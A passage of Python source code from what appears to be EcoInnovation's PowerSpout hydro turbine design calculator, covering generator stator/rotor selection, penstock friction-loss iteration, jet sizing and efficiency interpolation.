site.rpm ** 0.715 / float(site.SD_finger_sets[ SDchk ]) * float(site.SD_magnetic_loss_scalar[SDchk]) / 1000 # Add mW for hysteresis drag for a finger set\r\n\r\n\r\n minfsets = int(ShaftPwr4SD / site.rpm / MaxWuse * 1000) + 1\r\n maxfsets = site.SD_finger_sets[SDchk]\r\n\r\n if 1 > minfsets:\r\n minfsets = 1\r\n\r\n if minfsets > maxfsets:\r\n continue\r\n\r\n # site.SDsearch = site.SDsearch + str(SDchk) + ' SDchk ' + str(BestWuse) + ' BestWuse ' + str(MaxWuse) + ' MaxWuse ' + str(minfsets) + ' minfsets ' + str( maxfsets ) + ' maxfsets ' + siteGUI.GUI_diag_cr\r\n for fsets in range(int(minfsets), int(\r\n maxfsets + 1)): # Iterate through possible number of finger sets to determine if within range\r\n for series in range(1,\r\n fsets + 1): # Iterate through number of ok finger sets to factorize and make list of series/parallel possibilities\r\n parallel = int(fsets / series)\r\n if site.SD_finger_sets[\r\n SDchk] != parallel * series: continue # Only consider combinations that use all fsets! Cutdown skipping\r\n\r\n # print (SDchk, packers, site.PStype, series, parallel, site.SD_finger_sets[ SDchk ] )\r\n # if( site.PStype[:3] == 'TRG' or site.PStype[:2] == 'LH' or site.SD_finger_sets[ SDchk ] != 14 ): # TRG and LH are only sold in full versions. No cutdowns in dc or rewounds either\r\n # continue\r\n\r\n # Have a factorized version of this number of finger sets. Now determine power per finger set and Vo\r\n WnormPERfset = ShaftPwr4SD / fsets / site.rpm / MaxWuse * 1000 # 1000x is from MaxWuse is in mW\r\n VoutNoLoad = VIpacked(packers) * series * site.SD_mV4rpm4set[\r\n SDchk] * site.rpm / 1000 # Note that the table is in mV!\r\n VoutNoLoadmax = VIpacked(packers) * series * site.SD_mV4rpm4set[\r\n SDchk] * site.runaway_rpm / 1000 # Note that the table is in mV!\r\n # print ( site.runaway_rpm, SDchk, VIpacked(packers), packers, series, site.SD_mV4rpm4set[SDchk], VoutNoLoadmax) #################\r\n\r\n # Use normalized sampled parameters in dictionary pwr4Vr[ Vr ] to determine Vr required for this power level (WnormPERfset).\r\n # Samples are in Vr,Pwr samples in asscending order of Vr. Scan through and find above and below points\r\n # site.SDsearch = site.SDsearch + \" Looking for Vr for Pwr of \" + str(WnormPERfset) + siteGUI.GUI_diag_cr\r\n xl = 2\r\n yl = 1\r\n xh = 0\r\n yh = 0\r\n for key in site.pwr4Vr:\r\n if ((site.pwr4Vr[key] > WnormPERfset) and (site.pwr4Vr[key] <= yl)):\r\n xl = key\r\n yl = site.pwr4Vr[key]\r\n\r\n if ((site.pwr4Vr[key] < WnormPERfset) and (site.pwr4Vr[key] >= yh)):\r\n xh = key\r\n yh = site.pwr4Vr[key]\r\n\r\n VrRequired = (WnormPERfset - yl) / (yh - yl) * (\r\n xh - xl) + xl # Straight line interpolate between Xn,Yn points\r\n TargetLdV = VoutNoLoad / VrRequired\r\n\r\n Vo_diag = (' ' + str(round(VoutNoLoad, 1)) + 'V no load')\r\n Vl_diag = (' ' + str(round(TargetLdV, 1)) + 'V loaded')\r\n\r\n site.SDsearch = site.SDsearch + (SDchk + ' ')[:11] \\\r\n + (str(series) + 'S' + str(parallel) + 'P(' + str(int(packers)) + ') ' + ' ')[\r\n :11] \\\r\n + (str(round(VrRequired, 3)) + 'Vr ')[:9] \\\r\n + Vo_diag[len(Vo_diag) - 16:] \\\r\n + Vl_diag[len(Vl_diag) - 16:] + ' at ' \\\r\n + str(round(WnormPERfset * 100, 1)) + '% of MPP ' \\\r\n + siteGUI.GUI_diag_cr\r\n if abs(TargetLdV / site.cable_Vgen - 1.0) < (\r\n site.SDcloseness / 100.0): # Have found a SD type that is close enough. Create the SD code!\r\n site.SDsearch = site.SDsearch + 'This SD selected ' + siteGUI.GUI_diag_cr\r\n SD_codes = SDchk.split('-')\r\n ThisSD = SD_codes[0] + '-' + str(series) + 'S' + str(parallel) + 'P' + '-' + SD_codes[\r\n 2] + '(' + str(int(packers)) + ')'\r\n if (SD_codes[1] != ''):\r\n ThisSD = ThisSD + '-' + SD_codes[1]\r\n\r\n # Determine build effort rating for this SD\r\n # 'ThisSD' is the code with 'series' and 'parallel' connections and operating at 'TargetLdV' load voltage and fractional possible power load of 'WnormPERfset'\r\n # It also has site.SD_finger_sets[ SDchk ] possible finger sets\r\n indexSscore = str(int(site.SD_finger_sets[SDchk])) + '-' + str(int(series))\r\n indexPscore = str(int(site.SD_finger_sets[SDchk])) + '-' + str(int(parallel))\r\n BuildChoice = round(\r\n site.Bld_ranking[SDchk] * site.Sscore[indexSscore] * site.Pscore[indexPscore], 1)\r\n BuildChoice = BuildChoice * PackersPref(packers) * loadingPref(WnormPERfset) * Vpref(TargetLdV,\r\n site.cable_Vgen)\r\n # print (Vpref(TargetLdV, site.cable_Vgen ), TargetLdV, site.cable_Vgen )\r\n\r\n # Check for magic 7. Although now removed in ver17\r\n # if ThisSD in site.magic7:\r\n # BuildChoice = site.magic7[ThisSD]\r\n\r\n # print( \"Adding SD \", ThisSD)\r\n SD_size_list_ptr = SD_size_list_ptr + 1\r\n SD_size_listA[SD_size_list_ptr] = BuildChoice\r\n SD_size_listB[SD_size_list_ptr] = ThisSD\r\n SD_size_listC[SD_size_list_ptr] = str(int(round(TargetLdV, 0)))\r\n SD_size_listD[SD_size_list_ptr] = str(int(round(VoutNoLoadmax, 0)))\r\n SD_size_listE[\r\n SD_size_list_ptr] = '' # str(round(TargetLdV / ShaftRPM,3)) # Operating V/rpm for this install\r\n SD_size_listF[SD_size_list_ptr] = str(\r\n round(series * site.Stator_mV4rpm4set[SDchk] / 1000, 3)) # no load V/rpm for this stator\r\n SD_size_listG[SD_size_list_ptr] = str(int(round(WnormPERfset * 100, 0)))\r\n\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + 'The following are SD type code options (These are copyright of EcoInnovation and are only provisional)' + siteGUI.GUIcr\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + 'These are the most useful SD stator/rotors of the '\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + str(\r\n SD_size_list_ptr) + ' options found.' + siteGUI.GUIcr\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + 'Operating at ' + str(\r\n round(site.Actual_turbine_electric_pwr / site.Num_PS / site.rpm, 3)) + ' W/rpm' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if site.Actual_turbine_electric_pwr / site.Num_PS / site.rpm > 0.7:\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + 'Operating at greater than 0.7W per rpm requires the purchase ' \\\r\n + 'of the high power option. Please check your order' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + site.monospace_on\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec \\\r\n + (' SD code ')[:20].replace(' ', site.Aspace) \\\r\n + ' Vo'[-3:].replace(' ', site.Aspace) \\\r\n + ' Voc'[-5:].replace(' ', site.Aspace) \\\r\n + ' V/rpm '[:6].replace(' ', site.Aspace) \\\r\n + siteGUI.GUIcr\r\n\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + str(\r\n SD_size_list_ptr) + ' SD stator/rotor diag options found.' + siteGUI.GUI_diag_cr + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag \\\r\n + ('Pref.' + ' ')[:5] \\\r\n + (' SD code ')[:20] \\\r\n + ' Vo'[-3:] \\\r\n + ' Voc'[-5:] \\\r\n + ' V/rpm '[:6] \\\r\n + ' %ld '[-6:] \\\r\n + siteGUI.GUI_diag_cr\r\n\r\n outputlines = 0\r\n SD_types_done = [] # stores already displayed cores as 60R100-2S-6P-S(3) and 60R100-2S-6P-S(\r\n\r\n # print 'SD_size_list_ptr', SD_size_list_ptr, ' outputlines', outputlines, ' site.SDs2show', site.SDs2show\r\n while (SD_size_list_ptr >= 1):\r\n\r\n Whichrating = 1E50\r\n Whichchoice = 0\r\n for indexer in SD_size_listA:\r\n if (SD_size_listA[indexer] < Whichrating):\r\n Whichchoice = indexer\r\n Whichrating = SD_size_listA[indexer]\r\n if Whichchoice == 0: break\r\n\r\n # print Whichchoice, round(SD_size_listA[Whichchoice],3), SD_size_listB[Whichchoice], SD_size_listC[Whichchoice], SD_size_listD[Whichchoice]\r\n\r\n foundthis = SD_size_listB[Whichchoice].split('(')\r\n if foundthis[1] == '0)' or foundthis[\r\n 0] not in SD_types_done: # If a rotor not packed then include in list. Or if never displayed any packed version then display it\r\n # if 1 == 1: foundthis[1] == '0)' or\r\n\r\n if foundthis[1][:2] == '0)': # If the SD code has no packers then remove the packers reference\r\n this = SD_size_listB[Whichchoice].split('(0)')\r\n SD_size_listB[Whichchoice] = this[0] + this[1]\r\n\r\n if outputlines < site.SDs2show:\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec \\\r\n + (SD_size_listB[Whichchoice] + ' ')[:20].replace(' ',\r\n site.Aspace) \\\r\n + (' ' + SD_size_listC[Whichchoice] + ' ')[-4:].replace(' ',\r\n site.Aspace) \\\r\n + (' ' + SD_size_listD[Whichchoice] + ' ')[-5:].replace(' ',\r\n site.Aspace) \\\r\n + (SD_size_listF[Whichchoice] + ' ')[:6].replace(' ', site.Aspace) \\\r\n + siteGUI.GUIcr\r\n\r\n siteGUI.GUI_diag = siteGUI.GUI_diag \\\r\n + (' ' + str(int(round(SD_size_listA[Whichchoice], 0))) + ' ')[-6:] \\\r\n + (SD_size_listB[Whichchoice] + ' ')[:20] \\\r\n + (' ' + SD_size_listC[Whichchoice] + ' ')[-4:] \\\r\n + (' ' + SD_size_listD[Whichchoice] + ' ')[-5:] \\\r\n + (SD_size_listF[Whichchoice] + ' ')[:6] \\\r\n + (' ' + SD_size_listG[Whichchoice])[-4:] \\\r\n + siteGUI.GUIcr\r\n outputlines += 1\r\n\r\n if foundthis[1] != '0)': SD_types_done.append(foundthis[0])\r\n SD_types_done.append(SD_size_listB[Whichchoice])\r\n\r\n del SD_size_listA[Whichchoice]\r\n del SD_size_listB[Whichchoice]\r\n del SD_size_listC[Whichchoice]\r\n del SD_size_listD[Whichchoice]\r\n del SD_size_listE[Whichchoice]\r\n del SD_size_listF[Whichchoice]\r\n del SD_size_listG[Whichchoice]\r\n\r\n if (\r\n SD_size_listA == {} or SD_size_listB == {} or SD_size_listC == {} or SD_size_listD == {} or SD_size_listE == {}):\r\n break\r\n\r\n siteGUI.GUI_design_notes_elec.replace(' ', site.Aspace)\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + site.monospace_off + siteGUI.GUIcr\r\n\r\n\r\ndef penstock_hydro(): # Calc penstock water losses results in power available in water jet\r\n site.penstock_area = pi * (site.penstock_dia / 2) * (site.penstock_dia / 2)\r\n site.pipeV = site.lps / site.mmm_lps / site.penstock_area\r\n site.Qm = 0.5 * site.pipeV * site.pipeV / site.gravity\r\n site.Re = site.density * site.pipeV * site.penstock_dia / site.viscosity # Re = ρ u dh / μ Reynolds Number for Flow in Pipe or Duct\r\n if site.Re < 2100: # laminar flow\r\n site.Re_consider = 16 / site.Re\r\n else:\r\n site.Re_consider = -1\r\n\r\n if site.Re_consider == -1:\r\n site.x1 = -log10(site.eps / 3.7 - 4.52 / site.Re * log(7 / site.Re + site.eps / 7, 10))\r\n else:\r\n site.x1 = -1\r\n\r\n site.design_Chk = 0\r\n if (site.eps / 3.7 + 5.02 * site.x1 / site.Re) > 0:\r\n site.x2 = -log10(site.eps / 3.7 + 5.02 * site.x1 / site.Re)\r\n else:\r\n site.x2 = -1\r\n site.design_Chk = 1\r\n\r\n if (site.eps / 3.7 + 5.02 * site.x2 / site.Re) > 0:\r\n site.x3 = -log10(site.eps / 3.7 + 5.02 * site.x2 / site.Re)\r\n else:\r\n site.x3 = -1\r\n site.design_Chk = 1\r\n\r\n if (site.eps / 3.7 + 5.02 * site.x3 / site.Re) > 0:\r\n site.x4 = -log10(site.eps / 3.7 + 5.02 * site.x3 / site.Re)\r\n else:\r\n site.x4 = -1\r\n site.design_Chk = 1\r\n\r\n site.Moodyfff = 1.0 / (16.0 * site.x4 * site.x4)\r\n\r\n if site.x1 == -1:\r\n site.f = site.Re_consider\r\n else:\r\n site.f = site.Moodyfff\r\n\r\n site.dp_m = (4.0 * site.f * site.penstock_len / site.penstock_dia + site.penstock_Kf + site.Kf_turbine) * site.Qm\r\n site.eff_head = site.penstock_head - site.dp_m\r\n\r\n # print( site.lps, site.penstock_area, site.eps, site.pipeV, site.Qm, site.Re, site.Re_consider, site.x1, site.x2, site.x3, site.x4, site.Moodyfff, site.f, site.dp_m )\r\n\r\n\r\n site.waterpower = site.penstock_head * site.lps * site.gravity\r\n site.jetpower = site.eff_head / site.penstock_head * site.waterpower\r\n\r\n if (site.eff_head < 0):\r\n site.jetpower = 0\r\n site.Vjet = 0\r\n site.shaft_pwr = 0\r\n site.Poss_electric_pwr = 0\r\n site.rpm = 0\r\n site.Actual_turbine_electric_pwr = 0\r\n site.runaway_rpm = 0\r\n site.jet_dia = 0\r\n site.ideal_jet_sqr_mm = 0\r\n site.UWWatts_per_SD = 0\r\n\r\n else:\r\n # Figure out jet velocity for this effective head and jet square mm with jet dia\r\n site.Vjet = sqrt(2 * site.gravity * site.eff_head)\r\n site.ideal_jet_sqr_mm = site.lps / site.mmm_lps / site.Vjet\r\n site.jet_dia = 2 * sqrt(\r\n site.ideal_jet_sqr_mm / site.dis_coeff / float(site.turbine_nozzles) / float(site.Num_PS) / pi)\r\n site.rpm = site.turbine_spd_jet * 60 * site.Vjet / pi / site.turbine_dia\r\n site.runaway_rpm = 60 * site.Vjet / pi / site.turbine_dia * 0.9 # The 0.9 is the 10% speed loss due to friction etc when electrically no load.\r\n # print ( site.rpm, site.runaway_rpm, site.rpm / site.runaway_rpm, site.Vjet, site.turbine_dia ) ###############\r\n site.UWWatts_per_SD = site.rpm * site.pelton_Wuse_rpm\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'Hydros site.Vjet ' + str(site.Vjet) + ' site.ideal_jet_sqr_mm ' + str(site.ideal_jet_sqr_mm) + ' site.jet_dia '+ str(site.jet_dia) + ' site.rpm '+ str(site.rpm) + ' site.UWWatts_per_SD ' + str(site.UWWatts_per_SD) + siteGUI.GUI_diag_cr\r\n return ()\r\n\r\n\r\ndef Calc_Pwr_max_pipe(): # Use penstock size, avail lps and head and work out lps for max power and what the power is\r\n penstock_hydro()\r\n if (\r\n site.eff_head / site.penstock_head < 0.66): # Check if are penstock constricted. If so, find lps that gives 1/3 head loss\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' Reducing lps to get most from penstock' + siteGUI.GUI_diag_cr\r\n site.alarms.append(\r\n 11) # 'Less water is being used than is available as the penstock size limits maximum power.\\n\\tChoose a larger penstock for more power\\n\\n'\r\n\r\n # Find lps to get most power from this penstock diameter\r\n site.penstock_max_pipe_iterations = 0\r\n site.lps = site.avail_lps\r\n lps_holder = site.lps\r\n eff_1 = 0\r\n eff_2 = 0\r\n slope = 0\r\n move_dist = 0\r\n\r\n while 1:\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' In max pipe itterations ' + str(site.penstock_max_pipe_iterations) + ' lps ' + str(site.lps) + ' ' + str(lps_holder) + ' effs 1,2 ' + str(eff_1) + ' ' + str(eff_2) + ' slope ' + str(slope) + ' move_dist ' +str( move_dist ) + siteGUI.GUI_diag_cr\r\n lps_holder = site.lps\r\n site.penstock_max_pipe_iterations = site.penstock_max_pipe_iterations + 1\r\n penstock_hydro()\r\n eff_1 = site.eff_head / site.penstock_head\r\n if abs(float(eff_1 - 0.66666666666666666666)) < 0.000001: # If are within 0.1% then are close enough\r\n break\r\n\r\n site.lps = lps_holder * 1.01\r\n\r\n penstock_hydro()\r\n if site.eff_head <= 0:\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'In no head result'+ siteGUI.GUI_diag_cr\r\n site.lps = site.lps / 1.25\r\n else:\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'Have some head' + siteGUI.GUI_diag_cr\r\n eff_2 = site.eff_head / site.penstock_head\r\n slope = (eff_2 - eff_1) / 0.01\r\n move_dist = (0.666666666666666666 - eff_1) / slope * float(site.lps)\r\n site.lps = float(lps_holder + move_dist)\r\n\r\n if site.lps < 0.001:\r\n site.lps = 0.001\r\n if site.lps > site.avail_lps:\r\n site.lps = site.avail_lps\r\n\r\n if site.penstock_max_pipe_iterations > 100:\r\n site.alarms.append(\r\n 10) # 'Penstock loss calculations failed.\\n\\tPlease email a copy of this screen to EcoInnovation'\r\n break\r\n\r\n penstock_hydro()\r\n return ()\r\n\r\n\r\ndef calc_penstock_size(): # Find penstock diameter for target hydraulic loss\r\n penstock_dia_holder = site.penstock_dia\r\n while 1:\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"Iteration \" + str(site.penstock_iterations) + \" diameter \" + str(penstock_dia_holder) + siteGUI.GUI_diag_cr\r\n site.penstock_dia = penstock_dia_holder\r\n penstock_hydro()\r\n site.penstock_iterations = site.penstock_iterations + 1\r\n eff_act = site.eff_head / site.penstock_head\r\n if abs(eff_act - site.penstock_eff_target) < 0.0005:\r\n break\r\n loss_ratio_1 = 1 - eff_act\r\n site.penstock_dia = penstock_dia_holder * 1.01\r\n\r\n penstock_hydro()\r\n if site.eff_head <= 0:\r\n penstock_dia_holder = penstock_dia_holder * 1.25\r\n else:\r\n loss_ratio_2 = 1 - (site.eff_head / site.penstock_head)\r\n slope = -(loss_ratio_1 - loss_ratio_2) / 0.01\r\n distance = ((1 - site.penstock_eff_target) - loss_ratio_1) / slope\r\n penstock_dia_holder = penstock_dia_holder + distance * penstock_dia_holder\r\n\r\n if penstock_dia_holder < 0.001:\r\n penstock_dia_holder = 0.001\r\n\r\n if site.penstock_iterations > 200:\r\n site.alarms.append(\r\n 10) # 'Penstock loss calculations failed.\\n\\tPlease email a copy of this screen to EcoInnovation\\n'\r\n break\r\n penstock_hydro()\r\n return ()\r\n\r\n\r\ndef PowerSpout_calc(): # Compute SD output power. Considers SD rpm power limit and jet size limit & reduce lps for jet/PS count if cheap skate design\r\n if (siteGUI.GUI_PenSLkd == 1): # Test if penstock size is locked so therefore call\r\n Calc_Pwr_max_pipe()\r\n\r\n if (siteGUI.GUI_PenSLkd == 0): # Test if penstock size is unlocked so therefore call\r\n calc_penstock_size()\r\n\r\n if (siteGUI.GUI_Num_PS_Lkd == 0): # Figure if number of PS is locked ( =1) and if not then decide how many required\r\n Cal_PS4maxW()\r\n\r\n if (site.eff_head > 0): # If no head then no calcs to be done. Should not ever happen..............\r\n if (site.turbine_nozzles * site.Num_PS == 1): # Determine how much jet size is available\r\n avail_jet_sqr_mm2use = site.dis_coeff * (site.One_jet_dia_lim / 2) * (\r\n site.One_jet_dia_lim / 2) * pi # jet size limit in square mm\r\n else:\r\n avail_jet_sqr_mm2use = site.dis_coeff * site.turbine_nozzles * site.Num_PS * (site.Two_jet_dia_lim / 2) * (\r\n site.Two_jet_dia_lim / 2) * pi # jet size limit in square mm\r\n\r\n if (site.ideal_jet_sqr_mm > avail_jet_sqr_mm2use): # Are jet size constrained! Reduce lps to suit.\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"site.ideal_jet_sqr_m, avail_jet_sqr_mm2use\" + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + str(site.ideal_jet_sqr_mm) + ' ' + str(avail_jet_sqr_mm2use) + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"Jet size limit constrained\" + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n\r\n if (site.turbine_nozzles < site.max_jets): # Determine how much jet size is available\r\n site.alarms.append(\r\n 12) # 'Less water is being used than is available as the maximum jet size is in use.\\n\\tUse 2 Jets per PowerSpout or more PowerSpouts for more power\\n\\n\r\n else:\r\n site.alarms.append(\r\n 13) # 'Less water is being used than is available as the maximum jet size is in use.\\n\\tUse more PowerSpouts for more power\\n\\n\r\n\r\n while 1:\r\n lps_holder = site.lps\r\n site.jet_iterations = site.jet_iterations + 1\r\n if (siteGUI.GUI_PenSLkd == 0): # Test if penstock size is unlocked so therefore call\r\n calc_penstock_size()\r\n penstock_hydro()\r\n\r\n if site.eff_head <= 0:\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'In no head jet sizing result. Reducing site.lps by 12.5% from site.lps ' + str(site.lps) + siteGUI.GUI_diag_cr\r\n site.lps = site.lps / 1.125\r\n continue\r\n\r\n site.lps = lps_holder * avail_jet_sqr_mm2use / site.ideal_jet_sqr_mm # Figure new lps by simple scaling of jet cross section ideal and actual limit(target)\r\n if site.lps < 0.001:\r\n site.lps = 0.001\r\n if site.lps > site.avail_lps:\r\n site.lps = site.avail_lps\r\n\r\n if site.jet_iterations > 100:\r\n break\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + '\\nIn jet size limit while loop ' + str(site.jet_iterations) + ' lpsB4 ' + str(lps_holder) + ' site.lps now ' + str(site.lps) + \" site.ideal_jet_sqr_mm \" + str(site.ideal_jet_sqr_mm) + \" avail_jet_sqr_mm2use \" + str(avail_jet_sqr_mm2use) + siteGUI.GUI_diag_cr\r\n\r\n\r\n if (abs(\r\n site.ideal_jet_sqr_mm - avail_jet_sqr_mm2use) < 0.5): # If are within 0.5mm^2 jet size then are close enough\r\n break\r\n\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'At end of a jet size while looping ' + str(site.jet_iterations) + ' lpsB4 ' + str(lps_holder) + ' site.lps now , ' + str(site.lps) + ' J 1,2 ' + str(J1) + ' ' + str(J2) + ' slope ' + str(slope) + ' move_dist ' + str(move_dist) + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'Rapid find jet site.lps = lps_holder * J1 / avail_jet_sqr_mm2use ' + str(site.lps) + ' ' + str(lps_holder) + ' ' + str(J1) + ' ' + str(avail_jet_sqr_mm2use) + siteGUI.GUI_diag_cr\r\n\r\n jetlimitlps = site.lps\r\n\r\n if (site.Num_PS * site.UWWatts_per_SD < site.jetpower): # Are W per rmp constrained! Reduce lps to suit.\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'Power limited by W per rpm of SD gen Described to user as water processing ability' + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n site.alarms.append(\r\n 15) # 'Less water is being used than is available as the output is limited by the amount of water each PowerSpout can use at this head.\\n\\t Use more PowerSpouts for more power\\n\\n'\r\n\r\n while 1:\r\n lps_holder = site.lps\r\n site.UWW_iterations = site.UWW_iterations + 1\r\n if (siteGUI.GUI_PenSLkd == 0): # Test if penstock size is unlocked so therefore call\r\n calc_penstock_size()\r\n penstock_hydro()\r\n\r\n if site.eff_head <= 0:\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'In no head UWW rpm result. Reducing site.lps by 12.5% from site.lps ' + str(site.lps) + siteGUI.GUI_diag_cr\r\n site.lps = site.lps / 1.125\r\n continue\r\n\r\n UWW = site.Num_PS * site.UWWatts_per_SD # UWW is Used Water Watts. This is the water watts usable for this number of PowerSpouts.\r\n site.lps = lps_holder * UWW / site.jetpower\r\n if site.lps < 0.001:\r\n site.lps = 0.001\r\n if site.lps > site.avail_lps:\r\n site.lps = site.avail_lps\r\n\r\n if site.UWW_iterations > 100:\r\n break\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'In W watts / rpm size while loop ' + str(site.UWW_iterations) + ' lpsB4 ' + str(lps_holder) + ' site.lps now ' + str(site.lps) + \" UWW \" + str(UWW) + \" site.UWWatts_per_SD \" + str(site.UWWatts_per_SD) + \" site.jetpower \" + str(site.jetpower) + siteGUI.GUI_diag_cr\r\n\r\n if (\r\n site.jetpower - UWW < 0.5): # If are within 0.5W then are close enough Idea is to match UWW usable to jet water watts\r\n break\r\n\r\n # This is a mop up routine to recalculate the jet size for reduced water flow\r\n if (jetlimitlps < site.lps): # Pick lowest lps limit of jet size or rotor speed above\r\n site.lps = jetlimitlps\r\n if (siteGUI.GUI_PenSLkd == 0): # Test if penstock size is unlocked so therefore call\r\n calc_penstock_size()\r\n penstock_hydro()\r\n\r\n # Now have reduced lps for the number of PS and jets.\r\n site.shaft_pwr = site.eff_head * site.lps / site.mmm_lps * site.density * site.turbine_eff * site.gravity\r\n eff2use() # Get efficiency for PSs\r\n\r\n if ((site.runaway_rpm > site.runaway_rpm_limit + 1) and (siteGUI.GUI_PStype[0:2] != 'ME') and (\r\n siteGUI.GUI_PStype[0:2] != 'GE')):\r\n site.alarms.append(17)\r\n\r\n # print ( site.jetpower, site.Num_PS, site.turbine_nozzles, site.One_jet_water_W_lim, site.turbine_nozzles, site.max_jets )\r\n\r\n if ((site.jetpower / site.Num_PS / site.turbine_nozzles > site.One_jet_water_W_lim) and (\r\n site.turbine_nozzles != site.max_jets)):\r\n site.alarms.append(18)\r\n\r\n return ()\r\n\r\n\r\ndef eff2use():\r\n # What turbine effeciency to use?\r\n waterPwr_p_SD = site.jetpower / site.Num_PS # Shaft power per turbine used to figure low power eff drop\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"waterPwr_p_SD = site.jetpower / site.Num_PS \" + str(waterPwr_p_SD) + ' ' + str(site.jetpower) + ' ' + str(site.Num_PS) + siteGUI.GUI_diag_cr\r\n\r\n # Dictionary eff{} has water power: % effeciency points in asscending order. Scan through and find above and below points\r\n x1 = 0\r\n y1 = 0\r\n x2 = 1000000\r\n y2 = 52\r\n for key in site.eff:\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"key is \" + str(key) + ' ' + str(site.eff[key]) + siteGUI.GUI_diag_cr\r\n if ((float(key) > float(x1)) and (float(key) <= float(waterPwr_p_SD))):\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' Using new higher x1' + siteGUI.GUI_diag_cr\r\n x1 = key\r\n y1 = float(site.eff[key]) / 100.0\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' x1,y1 is now' + str(x1) + ',' + str(y1) + siteGUI.GUI_diag_cr\r\n\r\n if ((float(key) < float(x2)) and (float(key) >= float(waterPwr_p_SD))):\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' Using new lower x2' + siteGUI.GUI_diag_cr\r\n x2 = key\r\n y2 = float(site.eff[key]) / 100.0\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' x2,y2 is now' + str(x2) + ',' + str(y2) + siteGUI.GUI_diag_cr\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' x1,y1 x2,y2 finalizes at ' + str(x1) + ',' + str(y1) + ' ' + str(x2) + ',' + str(y2) + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"WaterPwr/PS = \" + str(waterPwr_p_SD) + \" x1 \" + str(x1) + \" y1 \" + str(y1) + \" x2 \" + str(x2) + \" y2 \" + str(y2) + siteGUI.GUI_diag_cr\r\n\r\n # print( waterPwr_p_SD, x1, x2, y1, y2)\r\n site.PSeff = (waterPwr_p_SD - x1) / (x2 - x1) * (y2 - y1) + y1 # Straight line interpolate between Xn,Yn points\r\n # print( site.PSeff )\r\n\r\n\r\n\r\n # Dictionary lpseff{} has lps: % effeciency points in asscending order. Scan through and find above and below points\r\n x1 = 0\r\n y1 = 0\r\n x2 = 1000000\r\n y2 = 100\r\n for key in site.lpseff:\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"key is \" + str(key) + ' ' + str(site.eff[key]) + siteGUI.GUI_diag_cr\r\n if ((float(key) > float(x1)) and (float(key) <= float(site.lps))):\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' Using new higher x1' + siteGUI.GUI_diag_cr\r\n x1 = key\r\n y1 = float(site.lpseff[key]) / 100.0\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' x1,y1 is now' + str(x1) + ',' + str(y1) + siteGUI.GUI_diag_cr\r\n\r\n if ((float(key) < float(x2)) and (float(key) > float(site.lps))):\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' Using new lower x2' + siteGUI.GUI_diag_cr\r\n x2 = key\r\n y2 = float(site.lpseff[key]) / 100.0\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' x2,y2 is now' + str(x2) + ',' + str(y2) + siteGUI.GUI_diag_cr\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' x1,y1 x2,y2 finalizes at ' + str(x1) + ',' + str(y1) + ' ' + str(x2) + ',' + str(y2) + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"WaterPwr/PS = \" + str(waterPwr_p_SD) + \" x1 